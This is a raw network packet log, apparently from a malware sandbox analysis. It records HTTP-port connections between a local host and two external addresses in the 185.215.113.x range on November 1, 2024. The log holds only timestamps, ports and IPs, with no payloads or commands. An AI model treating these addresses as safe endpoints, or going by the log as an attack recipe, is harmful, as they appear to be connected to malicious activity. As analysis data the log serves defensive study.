Nov 1, 2024 03:45:27.457663059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457674980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457685947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457695961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457705975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457715034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457715034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457715034 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457715988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457729101 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457732916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457740068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457751036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457762003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457763910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.457779884 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.457781076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458019972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458031893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458041906 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458051920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458061934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458072901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458082914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458093882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458103895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458105087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458128929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458128929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458296061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458307028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458317041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458328009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458333969 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458340883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458345890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458355904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458398104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458435059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458447933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458473921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458478928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458492994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458503008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458512068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.458514929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.458548069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.460427046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.464194059 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.497977972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.498002052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.498013973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.498089075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.498100996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.498126030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.499181986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.524425030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524451971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524462938 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524513006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524524927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524549007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.524578094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524616003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.524745941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524806976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524821043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524889946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524902105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524919033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.524924994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524939060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524949074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.524981022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525110960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525130987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525141001 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525186062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525186062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525186062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525500059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525551081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525563002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525605917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525619030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525640965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525650978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525659084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525675058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525696993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525708914 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525733948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525733948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525754929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525765896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525779963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525789976 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525793076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525795937 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525860071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525871992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525901079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.525904894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525918961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.525963068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526072025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526083946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526096106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526102066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526118994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526151896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526164055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526174068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526211023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526235104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526268005 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526298046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526312113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526359081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526369095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526379108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526390076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526407003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526473999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526484966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526495934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.526521921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526547909 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.526549101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569370031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569380045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569391966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569438934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569451094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569478035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569483042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569514036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569520950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569534063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569550037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569597006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569610119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569619894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569637060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569637060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569693089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569766045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569777012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569787025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569837093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569840908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569875002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569885015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.569889069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569909096 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.569986105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570029020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570030928 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570043087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570130110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570142031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570152998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570163965 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570175886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570189953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570189953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570267916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570278883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570288897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570298910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570312023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570347071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570347071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570401907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570413113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570430994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570507050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570518970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570530891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570534945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570543051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570550919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570601940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570611000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570631027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570661068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570673943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570691109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570715904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570715904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570760012 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570772886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570782900 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570868015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570878983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570897102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570907116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570920944 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570936918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.570938110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570950985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.570992947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571027040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571039915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571049929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571055889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571074963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571125984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571135998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571165085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571176052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571192980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571229935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571242094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571250916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571260929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571263075 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571291924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571371078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571383953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571394920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571407080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571413040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571413994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571472883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571484089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571546078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571554899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571583033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571608067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571619034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571629047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571634054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571639061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571646929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571680069 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571783066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571798086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571809053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571810007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571834087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.571885109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571897984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571908951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571919918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:27.571926117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:27.572057009 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:28.138134003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:05.007759094 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:05.013533115 CET	80	58522	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:05.013608932 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:05.014478922 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:05.019664049 CET	80	58522	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:05.917464972 CET	80	58522	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:05.919533014 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.430687904 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.431036949 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.436976910 CET	80	58523	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:07.437128067 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.437402964 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.437813997 CET	80	58522	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:07.437901974 CET	58522	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:07.442574978 CET	80	58523	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:08.357918978 CET	80	58523	185.215.113.43	192.168.2.6
Nov 1, 2024 03:46:08.357999086 CET	58523	80	192.168.2.6	185.215.113.43
Nov 1, 2024 03:46:08.361752033 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:08.368855000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:08.368937016 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:08.369096994 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:08.374070883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.289516926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.289603949 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.290153027 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290163040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290173054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290184975 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290196896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290205956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.290209055 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.290226936 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.290260077 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.290992022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.291006088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.291016102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.291039944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.291069031 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.294574022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.294626951 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.294634104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.294672012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.294948101 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.294994116 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.295150995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.295195103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.450660944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.450741053 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.450747013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.450788021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.450809002 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.450845003 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.451026917 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451081991 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.451086998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451133966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.451329947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451339960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451353073 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451370001 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.451395988 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.451886892 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.451950073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.452145100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452155113 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452164888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452188969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.452214956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.452750921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452801943 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.452828884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452837944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.452872038 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.568732977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.568865061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.568882942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.568893909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.568933964 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.569421053 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569474936 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.569595098 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569603920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569643021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.569930077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569942951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569955111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.569978952 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.570007086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:09.570616007 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.570628881 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.570640087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:09.570671082 CET	58524	80	192.168.2.6	185.215.113.16
